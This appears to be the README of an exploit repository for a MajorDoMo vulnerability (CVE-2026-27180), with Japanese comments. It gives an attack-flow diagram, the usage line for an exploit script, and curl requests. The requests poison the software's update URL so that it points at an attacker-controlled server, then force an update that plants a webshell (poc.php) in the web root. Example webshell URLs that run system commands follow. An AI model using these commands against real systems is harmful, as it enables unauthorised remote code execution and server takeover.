git clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# pip install は不要 – 標準ライブラリ + argparse のみを使用

graph TD
    A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
    B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
    C --> D["MajorDoMo fetches poisoned Atom feed"]
    D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
    E --> F["Extracts tar.gz with tar xzvf ..."]
    F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
    G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]

    style A fill:#f9d5e5,stroke:#333,stroke-width:2px
    style H fill:#c3e6cb,stroke:#333,stroke-width:2px

python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080

# 1. 更新ソースをポイズニング
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'

# 2. 強制更新をトリガー
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'

# 例:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a